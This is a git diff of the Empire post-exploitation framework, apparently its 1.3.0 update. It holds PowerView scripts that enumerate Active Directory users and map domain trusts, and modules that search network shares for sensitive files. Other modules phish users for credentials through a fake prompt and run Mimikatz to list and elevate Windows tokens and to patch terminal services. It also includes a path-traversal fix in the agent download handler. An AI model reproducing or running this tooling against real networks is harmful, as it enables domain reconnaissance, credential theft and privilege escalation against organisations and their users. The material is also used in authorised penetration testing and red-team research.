$out | Add-Member Noteproperty 'IsGroup' $IsGroup
$out | Add-Member Noteproperty 'IsDomain' $IsDomain
if($IsGroup){
$out | Add-Member Noteproperty 'LastLogin' ""
}
else{
try {
$out | Add-Member Noteproperty 'LastLogin' ( $_.GetType().InvokeMember('LastLogin', 'GetProperty', $null, $_, $null))
}
catch {
$out | Add-Member Noteproperty 'LastLogin' ""
}
}
$out
# if the result is a group domain object and we're recursing,
# try to resolve all the group member results
if($Recurse -and $IsDomain -and $IsGroup){
Write-Verbose "recurse!"
$FQDN = $name.split("/")[0]
$GroupName = $name.split("/")[1]
Get-NetGroup $GroupName -FullData -Recurse | % {
$out = New-Object psobject
$out | Add-Member Noteproperty 'Server' $name
$MemberDN = $_.distinguishedName
# extract the FQDN from the Distinguished Name
$MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.'
if ($_.samAccountType -ne "805306368"){
$MemberIsGroup = $True
}
else{
$MemberIsGroup = $False
}
if ($_.samAccountName){
# forest users have the samAccountName set
$MemberName = $_.samAccountName
}
else {
# external trust users have a SID, so convert it
try {
$MemberName = Convert-SidToName $_.cn
}
catch {
# if there's a problem contacting the domain to resolve the SID
$MemberName = $_.cn
}
}
$out | Add-Member Noteproperty 'AccountName' "$MemberDomain/$MemberName"
$out | Add-Member Noteproperty 'SID' $_.objectsid
$out | Add-Member Noteproperty 'Disabled' $False
$out | Add-Member Noteproperty 'IsGroup' $MemberIsGroup
$out | Add-Member Noteproperty 'IsDomain' $True
$out | Add-Member Noteproperty 'LastLogin' ''
$out
}
}
}
}
catch {
Write-Warning "[!] Error: $_"
}
}
}
}

View File

@ -1,247 +0,0 @@
function Get-NetDomainController {
<#
.SYNOPSIS
Return the current domain controllers for the active domain.
.PARAMETER Domain
The domain to query for domain controllers. If not supplied, the
current domain is used.
.EXAMPLE
> Get-NetDomainController
Returns the domain controllers for the current computer's domain.
Approximately equivialent to the hostname given in the LOGONSERVER
environment variable.
.EXAMPLE
> Get-NetDomainController -Domain test
Returns the domain controllers for the domain "test".
#>
[CmdletBinding()]
param(
[string]
$Domain
)
$d = Get-NetDomain -Domain $Domain
if($d){
$d.DomainControllers
}
}
function Get-NetDomain {
<#
.SYNOPSIS
Returns the name of the current user's domain.
.PARAMETER Domain
The domain to query return. If not supplied, the
current domain is used.
.EXAMPLE
> Get-NetDomain
Return the current domain.
.LINK
http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG
#>
[CmdletBinding()]
param(
[String]
$Domain
)
if($Domain -and ($Domain -ne "")){
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
try {
[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
}
catch{
Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust."
$Null
}
}
else{
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
}
}
function Get-NetUser {
<#
.SYNOPSIS
Query information for a given user or users in the domain.
.DESCRIPTION
This function users [ADSI] and LDAP to query the current
domain for all users. Another domain can be specified to
query for users across a trust.
This is a replacement for "net users /domain"
.PARAMETER UserName
Username filter string, wildcards accepted.
.PARAMETER Domain
The domain to query for users. If not supplied, the
current domain is used.
.PARAMETER OU
The OU to pull users from.
.PARAMETER Filter
The complete LDAP query string to use to query for users.
.EXAMPLE
> Get-NetUser
Returns the member users of the current domain.
.EXAMPLE
> Get-NetUser -Domain testing
Returns all the members in the "testing" domain.
#>
[CmdletBinding()]
param(
[Parameter(ValueFromPipeline=$True)]
[string]
$UserName,
[string]
$OU,
[string]
$Filter,
[string]
$Domain
)
process {
# if a domain is specified, try to grab that domain
if ($Domain){
# try to grab the primary DC for the current domain
try{
$PrimaryDC = ([Array](Get-NetDomainController))[0].Name
}
catch{
$PrimaryDC = $Null
}
try {
# reference - http://blogs.msdn.com/b/javaller/archive/2013/07/29/searching-across-active-directory-domains-in-powershell.aspx
$dn = "DC=$($Domain.Replace('.', ',DC='))"
# if we have an OU specified, be sure to through it in
if($OU){
$dn = "OU=$OU,$dn"
}
# if we could grab the primary DC for the current domain, use that for the query
if ($PrimaryDC){
$UserSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$PrimaryDC/$dn")
}
else{
# otherwise try to connect to the DC for the target domain
$UserSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$dn")
}
# check if we're using a username filter or not
if($UserName){
# samAccountType=805306368 indicates user objects
$UserSearcher.filter="(&(samAccountType=805306368)(samAccountName=$UserName))"
}
elseif($Filter){
# filter is something like (samAccountName=*blah*)
$UserSearcher.filter="(&(samAccountType=805306368)$Filter)"
}
else{
$UserSearcher.filter='(&(samAccountType=805306368))'
}
$UserSearcher.PageSize = 200
$UserSearcher.FindAll() | ForEach-Object {
# for each user/member, do a quick adsi object grab
$properties = $_.Properties
$out = New-Object psobject
$properties.PropertyNames | % {
if ($_ -eq "objectsid"){
# convert the SID to a string
$out | Add-Member Noteproperty $_ ((New-Object System.Security.Principal.SecurityIdentifier($properties[$_][0],0)).Value)
}
elseif($_ -eq "objectguid"){
# convert the GUID to a string
$out | Add-Member Noteproperty $_ (New-Object Guid (,$properties[$_][0])).Guid
}
elseif( ($_ -eq "lastlogon") -or ($_ -eq "lastlogontimestamp") -or ($_ -eq "pwdlastset") ){
$out | Add-Member Noteproperty $_ ([datetime]::FromFileTime(($properties[$_][0])))
}
else {
if ($properties[$_].count -eq 1) {
$out | Add-Member Noteproperty $_ $properties[$_][0]
}
else {
$out | Add-Member Noteproperty $_ $properties[$_]
}
}
}
$out
}
}
catch{
Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust."
}
}
else{
# otherwise, use the current domain
if($UserName){
$UserSearcher = [adsisearcher]"(&(samAccountType=805306368)(samAccountName=*$UserName*))"
}
# if we're specifying an OU
elseif($OU){
$dn = "OU=$OU," + ([adsi]'').distinguishedname
$UserSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$dn")
$UserSearcher.filter='(&(samAccountType=805306368))'
}
# if we're specifying a specific LDAP query string
elseif($Filter){
# filter is something like (samAccountName=*blah*)
$UserSearcher = [adsisearcher]"(&(samAccountType=805306368)$Filter)"
}
else{
$UserSearcher = [adsisearcher]'(&(samAccountType=805306368))'
}
$UserSearcher.PageSize = 200
$UserSearcher.FindAll() | ForEach-Object {
# for each user/member, do a quick adsi object grab
$properties = $_.Properties
$out = New-Object psobject
$properties.PropertyNames | % {
if ($_ -eq "objectsid"){
# convert the SID to a string
$out | Add-Member Noteproperty $_ ((New-Object System.Security.Principal.SecurityIdentifier($properties[$_][0],0)).Value)
}
elseif($_ -eq "objectguid"){
# convert the GUID to a string
$out | Add-Member Noteproperty $_ (New-Object Guid (,$properties[$_][0])).Guid
}
elseif( ($_ -eq "lastlogon") -or ($_ -eq "lastlogontimestamp") -or ($_ -eq "pwdlastset") ){
$out | Add-Member Noteproperty $_ ([datetime]::FromFileTime(($properties[$_][0])))
}
else {
if ($properties[$_].count -eq 1) {
$out | Add-Member Noteproperty $_ $properties[$_][0]
}
else {
$out | Add-Member Noteproperty $_ $properties[$_]
}
}
}
$out
}
}
}
}

View File

@ -1,308 +0,0 @@
# Invoke-MapDomainTrusts.ps1
# part of PowerView in Veil's PowerTools
# https://github.com/Veil-Framework/PowerTools/
function Get-NetDomain {
<#
.SYNOPSIS
Returns the name of the current user's domain.
.PARAMETER Domain
The domain to query return. If not supplied, the
current domain is used.
.EXAMPLE
> Get-NetDomain
Return the current domain.
.LINK
http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG
#>
[CmdletBinding()]
param(
[String]
$Domain
)
if($Domain -and ($Domain -ne "")){
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
try {
[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
}
catch{
Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust."
$Null
}
}
else{
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
}
}
function Get-NetDomainTrusts {
<#
.SYNOPSIS
Return all domain trusts for the current domain or
a specified domain.
.PARAMETER Domain
The domain whose trusts to enumerate. If not given,
uses the current domain.
.EXAMPLE
> Get-NetDomainTrusts
Return domain trusts for the current domain.
.EXAMPLE
> Get-NetDomainTrusts -Domain "test"
Return domain trusts for the "test" domain.
#>
[CmdletBinding()]
param(
[string]
$Domain
)
$d = Get-NetDomain -Domain $Domain
if($d){
$d.GetAllTrustRelationships()
}
}
function Get-NetDomainTrustsLDAP {
<#
.SYNOPSIS
Return all domain trusts for the current domain or
a specified domain using LDAP queries. This is potentially
less accurate than the Get-NetDomainTrusts function, but
can be relayed through your current domain controller
in cases where you can't reach a remote domain directly.
.PARAMETER Domain
The domain whose trusts to enumerate. If not given,
uses the current domain.
.EXAMPLE
> Get-NetDomainTrustsLDAP
Return domain trusts for the current domain.
.EXAMPLE
> Get-NetDomainTrustsLDAP -Domain "test"
Return domain trusts for the "test" domain.
#>
[CmdletBinding()]
param(
[string]
$Domain
)
$TrustSearcher = $Null
# if a domain is specified, try to grab that domain
if ($Domain){
# try to grab the primary DC for the current domain
try{
$PrimaryDC = ([Array](Get-NetDomainControllers))[0].Name
}
catch{
$PrimaryDC = $Null
}
try {
# reference - http://blogs.msdn.com/b/javaller/archive/2013/07/29/searching-across-active-directory-domains-in-powershell.aspx
$dn = "DC=$($Domain.Replace('.', ',DC='))"
# if we could grab the primary DC for the current domain, use that for the query
if ($PrimaryDC){
$TrustSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$PrimaryDC/$dn")
}
else{
# otherwise default to connecting to the DC for the target domain
$TrustSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$dn")
}
$TrustSearcher.filter = '(&(objectClass=trustedDomain))'
$TrustSearcher.PageSize = 200
}
catch{
Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust."
$TrustSearcher = $Null
}
}
else{
$Domain = (Get-NetDomain).Name
$TrustSearcher = [adsisearcher]'(&(objectClass=trustedDomain))'
$TrustSearcher.PageSize = 200
}
if($TrustSearcher){
$TrustSearcher.FindAll() | ForEach-Object {
$props = $_.Properties
$out = New-Object psobject
Switch ($props.trustattributes)
{
4 { $attrib = "External"}
16 { $attrib = "CrossLink"}
32 { $attrib = "ParentChild"}
64 { $attrib = "External"}
68 { $attrib = "ExternalQuarantined"}
Default { $attrib = "unknown trust attribute number: $($props.trustattributes)" }
}
Switch ($props.trustdirection){
0 {$direction = "Disabled"}
1 {$direction = "Inbound"}
2 {$direction = "Outbound"}
3 {$direction = "Bidirectional"}
}
$out | Add-Member Noteproperty 'SourceName' $domain
$out | Add-Member Noteproperty 'TargetName' $props.name[0]
$out | Add-Member Noteproperty 'TrustType' "$attrib"
$out | Add-Member Noteproperty 'TrustDirection' "$direction"
$out
}
}
}
function Invoke-MapDomainTrusts {
<#
.SYNOPSIS
Try to map all transitive domain trust relationships.
.DESCRIPTION
This function gets all trusts for the current domain,
and tries to get all trusts for each domain it finds.
.EXAMPLE
> Invoke-MapDomainTrusts
Return a "domain1,domain2,trustType,trustDirection" list
.LINK
http://blog.harmj0y.net/
#>
# keep track of domains seen so we don't hit infinite recursion
$seenDomains = @{}
# our domain status tracker
$domains = New-Object System.Collections.Stack
# get the current domain and push it onto the stack
$currentDomain = (([adsi]'').distinguishedname -replace 'DC=','' -replace ',','.')[0]
$domains.push($currentDomain)
while($domains.Count -ne 0){
$d = $domains.Pop()
# if we haven't seen this domain before
if (-not $seenDomains.ContainsKey($d)) {
# mark it as seen in our list
$seenDomains.add($d, "") | out-null
try{
# get all the trusts for this domain
$trusts = Get-NetDomainTrusts -Domain $d
if ($trusts){
# enumerate each trust found
foreach ($trust in $trusts){
$source = $trust.SourceName
$target = $trust.TargetName
$type = $trust.TrustType
$direction = $trust.TrustDirection
# make sure we process the target
$domains.push($target) | out-null
# build the nicely-parsable custom output object
$out = new-object psobject
$out | add-member Noteproperty 'SourceDomain' $source
$out | add-member Noteproperty 'TargetDomain' $target
$out | add-member Noteproperty 'TrustType' "$type"
$out | add-member Noteproperty 'TrustDirection' "$direction"
$out
}
}
}
catch{
Write-Warning "[!] Error: $_"
}
}
}
}
function Invoke-MapDomainTrustsLDAP {
<#
.SYNOPSIS
Try to map all transitive domain trust relationships
through LDAP queries.
.EXAMPLE
> Invoke-MapDomainTrustsLDAP
Return a "domain1,domain2,trustType,trustDirection" list
.LINK
http://blog.harmj0y.net/
#>
# keep track of domains seen so we don't hit infinite recursion
$seenDomains = @{}
# our domain status tracker
$domains = New-Object System.Collections.Stack
# get the current domain and push it onto the stack
$currentDomain = (([adsi]'').distinguishedname -replace 'DC=','' -replace ',','.')[0]
$domains.push($currentDomain)
while($domains.Count -ne 0){
$d = $domains.Pop()
# if we haven't seen this domain before
if (-not $seenDomains.ContainsKey($d)) {
# mark it as seen in our list
$seenDomains.add($d, "") | out-null
try{
# get all the trusts for this domain through LDAP queries
$trusts = Get-NetDomainTrustsLDAP -Domain $d
if ($trusts){
# enumerate each trust found
foreach ($trust in $trusts){
$source = $trust.SourceName
$target = $trust.TargetName
$type = $trust.TrustType
$direction = $trust.TrustDirection
# make sure we process the target
$domains.push($target) | out-null
# build the nicely-parsable custom output object
$out = new-object psobject
$out | add-member Noteproperty 'SourceDomain' $source
$out | add-member Noteproperty 'TargetDomain' $target
$out | add-member Noteproperty 'TrustType' $type
$out | add-member Noteproperty 'TrustDirection' $direction
$out
}
}
}
catch{
Write-Warning "[!] Error: $_"
}
}
}
}

File diff suppressed because it is too large Load Diff

View File

@ -195,6 +195,13 @@ class Agents:
savePath = self.installPath + "/downloads/"+str(sessionID)+"/" + "/".join(parts[0:-1])
filename = parts[-1]
# fix for 'skywalker' exploit by @zeroSteiner
safePath = os.path.abspath("%s/downloads/%s/" %(self.installPath, sessionID))
if not os.path.abspath(savePath+"/"+filename).startswith(safePath):
dispatcher.send("[!] WARNING: agent %s attempted skywalker exploit!" %(sessionID), sender="Agents")
dispatcher.send("[!] attempted overwrite of %s with data %s" %(path, data), sender="Agents")
return
# make the recursive directory structure if it doesn't already exist
if not os.path.exists(savePath):
os.makedirs(savePath)
@ -210,7 +217,7 @@ class Agents:
f.close()
# notify everyone that the file was downloaded
dispatcher.send("[+] Part of file "+filename+" from "+str(sessionID)+" saved", sender="Agents")
dispatcher.send("[+] Part of file %s from %s saved" %(filename, sessionID), sender="Agents")
def save_module_file(self, sessionID, path, data):
@ -227,6 +234,13 @@ class Agents:
savePath = self.installPath + "/downloads/"+str(sessionID)+"/" + "/".join(parts[0:-1])
filename = parts[-1]
# fix for 'skywalker' exploit by @zeroSteiner
safePath = os.path.abspath("%s/downloads/%s/" %(self.installPath, sessionID))
if not os.path.abspath(savePath+"/"+filename).startswith(safePath):
dispatcher.send("[!] WARNING: agent %s attempted skywalker exploit!" %(sessionID), sender="Agents")
dispatcher.send("[!] attempted overwrite of %s with data %s" %(path, data), sender="Agents")
return
# make the recursive directory structure if it doesn't already exist
if not os.path.exists(savePath):
os.makedirs(savePath)

View File

@ -9,7 +9,7 @@ menu loops.
"""
# make version for Empire
VERSION = "1.2"
VERSION = "1.3.0"
from pydispatch import dispatcher
@ -255,6 +255,9 @@ class MainMenu(cmd.Cmd):
elif "[!] Agent" in signal and "exiting" in signal:
print helpers.color(signal)
elif "WARNING" in signal or "attempted overwrite" in signal:
print helpers.color(signal)
elif "on the blacklist" in signal:
print helpers.color(signal)

View File

@ -197,6 +197,119 @@ def strip_powershell_comments(data):
return strippedCode
# PowerView dynamic helpers
def get_powerview_psreflect_overhead(script):
"""
Helper to extract some of the psreflect overhead for PowerView.
"""
pattern = re.compile(r'\n\$Mod =.*\[\'wtsapi32\'\]', re.DOTALL)
try:
return strip_powershell_comments(pattern.findall(script)[0])
except:
print color("[!] Error extracting psreflect overhead from powerview.ps1 !")
return ""
def get_dependent_functions(code, functionNames):
"""
Helper that takes a chunk of PowerShell code and a set of function
names and returns the unique set of function names within the script block.
"""
dependentFunctions = set()
for functionName in functionNames:
# find all function names that aren't followed by another alpha character
if re.search(functionName+"[^A-Za-z]+", code, re.IGNORECASE):
dependentFunctions.add(functionName)
if re.search(functionName+"|\$Netapi32|\$Advapi32|\$Kernel32\$Wtsapi32", code, re.IGNORECASE):
dependentFunctions |= set(["New-InMemoryModule", "func", "Add-Win32Type", "psenum", "struct"])
return dependentFunctions
def find_all_dependent_functions(functions, functionsToProcess, resultFunctions=[]):
"""
Takes a dictionary of "[functionName] -> functionCode" and a set of functions
to process, and recursively returns all nested functions that may be required.
Used to map the dependent functions for nested script dependencies like in
PowerView.
"""
if isinstance(functionsToProcess, str):
functionsToProcess = [functionsToProcess]
while len(functionsToProcess) != 0:
# pop the next function to process off the stack
requiredFunction = functionsToProcess.pop()
if requiredFunction not in resultFunctions:
resultFunctions.append(requiredFunction)
# get the dependencies for the function we're currently processing
try:
functionDependencies = get_dependent_functions(functions[requiredFunction], functions.keys())
except:
functionDependencies = []
print color("[!] Error in retrieving dependencies for function %s !" %(requiredFunction))
for functionDependency in functionDependencies:
if functionDependency not in resultFunctions and functionDependency not in functionsToProcess:
# for each function dependency, if we haven't already seen it
# add it to the stack for processing
functionsToProcess.append(functionDependency)
resultFunctions.append(functionDependency)
resultFunctions = find_all_dependent_functions(functions, functionsToProcess, resultFunctions)
return resultFunctions
def generate_dynamic_powershell_script(script, functionName):
"""
Takes a PowerShell script and a function name, generates a dictionary
of "[functionName] -> functionCode", and recurisvely maps all
dependent functions for the specified function name.
A script is returned with only the code necessary for the given
functionName, stripped of comments and whitespace.
Note: for PowerView, it will also dynamically detect if psreflect
overhead is needed and add it to the result script.
"""
newScript = ""
psreflect_functions = ["New-InMemoryModule", "func", "Add-Win32Type", "psenum", "struct"]
# build a mapping of functionNames -> stripped function code
functions = {}
pattern = re.compile(r'\nfunction.*?{.*?\n}\n', re.DOTALL)
for match in pattern.findall(script):
name = match[:40].split()[1]
functions[name] = strip_powershell_comments(match)
# recursively enumerate all possible function dependencies and
# start building the new result script
functionDependencies = find_all_dependent_functions(functions, functionName)
for functionDependency in functionDependencies:
try:
newScript += functions[functionDependency] + "\n"
except:
print color("[!] Key error with function %s !" %(functionDependency))
# if any psreflect methods are needed, add in the overhead at the end
if any(el in set(psreflect_functions) for el in functionDependencies):
newScript += get_powerview_psreflect_overhead(script)
return newScript + "\n"
###############################################################
#
# Parsers
@ -232,7 +345,7 @@ def parse_credentials(data):
return [("plaintext", domain, username, password, "", "")]
else:
print helpers.color("[!] Error in parsing prompted credential output.")
print color("[!] Error in parsing prompted credential output.")
return None
else:
@ -566,4 +679,3 @@ def complete_path(text, line, arg=False):
completions.append(f+'/')
return completions

View File

@ -112,10 +112,5 @@ class Module:
elif values['Value'] and values['Value'] != '':
script += " -" + str(option) + " " + str(values['Value'])
# return script
f = open("/tmp/t", 'w')
f.write(script)
f.close()
return ""
return script

View File

@ -35,23 +35,18 @@ class Module:
'Required' : True,
'Value' : ''
},
'Hosts' : {
'Description' : "Host array to enumerate.",
'ComputerName' : {
'Description' : 'Hosts to enumerate.',
'Required' : False,
'Value' : ''
},
'HostList' : {
'Description' : "List of hostnames/IPs to search.",
'Required' : False,
'Value' : ''
},
'HostFilter' : {
'Description' : "Host filter name to query AD for, wildcards accepted.",
'ComputerFilter' : {
'Description' : 'Host filter name to query AD for, wildcards accepted.',
'Required' : False,
'Value' : ''
},
'ShareList' : {
'Description' : "List if \\HOST\shares to search through.",
'Description' : "List of '\\\\HOST\shares' (on the target) to search through.",
'Required' : False,
'Value' : ''
},
@ -70,6 +65,21 @@ class Module:
'Required' : False,
'Value' : ''
},
'LastAccessTime' : {
'Description' : "Only return files with a LastAccessTime greater than this date value.",
'Required' : False,
'Value' : ''
},
'CreationTime' : {
'Description' : "Only return files with a CreationDate greater than this date value.",
'Required' : False,
'Value' : ''
},
'FreshEXES' : {
'Description' : "Switch. Find .EXEs accessed in the last week.",
'Required' : False,
'Value' : ''
},
'ExcludeHidden' : {
'Description' : "Switch. Exclude hidden files and folders from the search results.",
'Required' : False,
@ -80,16 +90,6 @@ class Module:
'Required' : False,
'Value' : ''
},
'AccessDateLimit' : {
'Description' : "Only return files with a LastAccessTime greater than this date value.",
'Required' : False,
'Value' : ''
},
'CreateDateLimit' : {
'Description' : "Only return files with a CreationDate greater than this date value.",
'Required' : False,
'Value' : ''
},
'NoPing' : {
'Description' : "Switch. Don't ping each host to ensure it's up before enumerating.",
'Required' : False,
@ -104,6 +104,16 @@ class Module:
'Description' : "Domain to query for machines.",
'Required' : False,
'Value' : ''
},
'SearchSYSVOL' : {
'Description' : "Switch. Search for login scripts on the SYSVOL of the primary DCs for each specified domain.",
'Required' : False,
'Value' : ''
},
'Threads' : {
'Description' : "The maximum concurrent threads to execute.",
'Required' : False,
'Value' : ''
}
}
@ -120,8 +130,10 @@ class Module:
def generate(self):
# read in the common module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/collection/Invoke-FileFinder.ps1"
moduleName = self.info["Name"]
# read in the common powerview.ps1 module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
try:
f = open(moduleSource, 'r')
@ -132,15 +144,20 @@ class Module:
moduleCode = f.read()
f.close()
script = moduleCode
# get just the code needed for the specified function
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
script += "Invoke-FileFinder "
script += moduleName + " "
for option,values in self.options.iteritems():
if option.lower() != "agent":
if values['Value'] and values['Value'] != '':
script += " -" + str(option) + " " + str(values['Value'])
script += " | Out-String"
if values['Value'].lower() == "true":
# if we're just adding a switch
script += " -" + str(option)
else:
script += " -" + str(option) + " " + str(values['Value'])
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
return script

View File

@ -5,12 +5,11 @@ class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Invoke-Filesearch',
'Name': 'Find-InterestingFile',
'Author': ['@harmj0y'],
'Description': ('Recurively searches a given file path for files with '
'specified terms in their names.'),
'Description': ('Finds sensitive files on the domain.'),
'Background' : True,
@ -37,10 +36,10 @@ class Module:
'Value' : ''
},
'Path' : {
'Description' : "Path to search, defaults to current dir.",
'Required' : False,
'Description' : 'UNC/local path to recursively search.',
'Required' : True,
'Value' : ''
},
},
'Terms' : {
'Description' : "Comma-separated terms to search for (overrides defaults).",
'Required' : False,
@ -56,6 +55,21 @@ class Module:
'Required' : False,
'Value' : ''
},
'LastAccessTime' : {
'Description' : "Only return files with a LastAccessTime greater than this date value.",
'Required' : False,
'Value' : ''
},
'CreationTime' : {
'Description' : "Only return files with a CreationDate greater than this date value.",
'Required' : False,
'Value' : ''
},
'FreshEXES' : {
'Description' : "Switch. Find .EXEs accessed in the last week.",
'Required' : False,
'Value' : ''
},
'ExcludeHidden' : {
'Description' : "Switch. Exclude hidden files and folders from the search results.",
'Required' : False,
@ -65,28 +79,13 @@ class Module:
'Description' : "Switch. Only returns files the current user has write access to.",
'Required' : False,
'Value' : ''
},
'AccessDateLimit' : {
'Description' : "Only return files with a LastAccessTime greater than this date value.",
'Required' : False,
'Value' : ''
},
'CreateDateLimit' : {
'Description' : "Only return files with a CreationDate greater than this date value.",
'Required' : False,
'Value' : ''
},
'FreshEXES' : {
'Description' : "Switch. Find .EXEs accessed within the last week.",
'Required' : False,
'Value' : ''
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
@ -96,8 +95,10 @@ class Module:
def generate(self):
# read in the common module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/collection/Invoke-Filesearch.ps1"
moduleName = self.info["Name"]
# read in the common powerview.ps1 module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
try:
f = open(moduleSource, 'r')
@ -108,9 +109,10 @@ class Module:
moduleCode = f.read()
f.close()
script = moduleCode
# get just the code needed for the specified function
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
script += "Invoke-Filesearch "
script += moduleName + " "
for option,values in self.options.iteritems():
if option.lower() != "agent":
@ -119,8 +121,8 @@ class Module:
# if we're just adding a switch
script += " -" + str(option)
else:
script += " -" + str(option) + " " + str(values['Value'])
script += " | Out-String"
script += " -" + str(option) + " " + str(values['Value'])
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
return script

View File

@ -7,7 +7,7 @@ class Module:
self.info = {
'Name': 'Invoke-Prompt',
'Author': ['greg.fossk', '@harmj0y'],
'Author': ['greg.fossk', '@harmj0y', '@enigma0x3'],
'Description': ("Prompts the current user to enter their credentials "
"in a forms box and returns the results."),
@ -24,6 +24,7 @@ class Module:
'Comments': [
'http://blog.logrhythm.com/security/do-you-trust-your-computer/'
'https://enigma0x3.wordpress.com/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/'
]
}
@ -68,7 +69,9 @@ class Module:
script = """
# Adapted from http://blog.logrhythm.com/security/do-you-trust-your-computer/
# https://enigma0x3.wordpress.com/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/
# POC from greg.foss[at]owasp.org
# @enigma0x3
function Invoke-Prompt {
[CmdletBinding()]
@ -115,4 +118,4 @@ Invoke-Prompt """
else:
script += " -" + str(option) + " \"" + str(values['Value'].strip("\"")) + "\""
return script
return script

View File

@ -49,6 +49,11 @@ class Module:
'Description' : 'Specified (fqdn) domain to pull for the primary domain/DC.',
'Required' : False,
'Value' : ''
},
'dc' : {
'Description' : 'Specified (fqdn) domain controller to pull replication data from.',
'Required' : False,
'Value' : ''
}
}

View File

@ -0,0 +1,137 @@
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Invoke-Mimikatz Tokens',
'Author': ['@JosephBialek', '@gentilkiwi'],
'Description': ("Runs PowerSploit's Invoke-Mimikatz function "
"to list or enumerate tokens."),
'Background' : False,
'OutputExtension' : None,
'NeedsAdmin' : True,
'OpsecSafe' : True,
'MinPSVersion' : '2',
'Comments': [
'http://clymb3r.wordpress.com/',
'http://blog.gentilkiwi.com'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'list' : {
'Description' : 'Switch. List current tokens on the machine.',
'Required' : False,
'Value' : 'True'
},
'elevate' : {
'Description' : 'Switch. Elevate instead of listing tokens.',
'Required' : False,
'Value' : ''
},
'revert' : {
'Description' : 'Switch. Revert process token.',
'Required' : False,
'Value' : ''
},
'admin' : {
'Description' : 'Switch. List/elevate local admin tokens.',
'Required' : False,
'Value' : ''
},
'domainadmin' : {
'Description' : 'Switch. List/elevate domain admin tokens.',
'Required' : False,
'Value' : ''
},
'user' : {
'Description' : 'User name to list/elevate the token of.',
'Required' : False,
'Value' : ''
},
'id' : {
'Description' : 'Token ID to list/elevate the token of.',
'Required' : False,
'Value' : ''
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
# read in the common module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-Mimikatz.ps1"
try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
moduleCode = f.read()
f.close()
listTokens = self.options['list']['Value']
elevate = self.options['elevate']['Value']
revert = self.options['revert']['Value']
admin = self.options['admin']['Value']
domainadmin = self.options['domainadmin']['Value']
user = self.options['user']['Value']
processid = self.options['id']['Value']
script = moduleCode
script += "Invoke-Mimikatz -Command "
if revert.lower() == "true":
script += "'\"token::revert"
else:
if listTokens.lower() == "true":
script += "'\"token::list"
elif elevate.lower() == "true":
script += "'\"token::elevate"
else:
print helpers.color("[!] list, elevate, or revert must be specified!")
return ""
if domainadmin.lower() == "true":
script += " /domainadmin"
elif admin.lower() == "true":
script += " /admin"
elif user.lower() != "":
script += " /user:" + str(user)
elif processid.lower() != "":
script += " /id:" + str(processid)
script += "\"';"
# print script[-200:]
# return ""
return script

View File

@ -5,24 +5,27 @@ class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Invoke-MapDomainTrusts',
'Name': 'Invoke-Mimikatz Multirdp',
'Author': ['@harmj0y'],
'Author': ['@gentilkiwi', '@JosephBialek'],
'Description': ('Maps all reachable domain trusts with .CSV output. Part of PowerView.'),
'Description': ("[!] WARNING: Experimental! Runs PowerSploit's Invoke-Mimikatz "
"function to patch the Windows terminal service to allow "
"multiple users to establish simultaneous RDP connections."),
'Background' : True,
'OutputExtension' : None,
'NeedsAdmin' : False,
'NeedsAdmin' : True,
'OpsecSafe' : False,
'OpsecSafe' : True,
'MinPSVersion' : '2',
'Comments': [
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
'http://blog.gentilkiwi.com',
'http://clymb3r.wordpress.com/'
]
}
@ -34,18 +37,13 @@ class Module:
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'LDAP' : {
'Description' : 'Switch. Use LDAP for domain queries (less accurate).',
'Required' : False,
'Value' : ''
}
}
# save off a copy of the mainMenu object to access external functionality
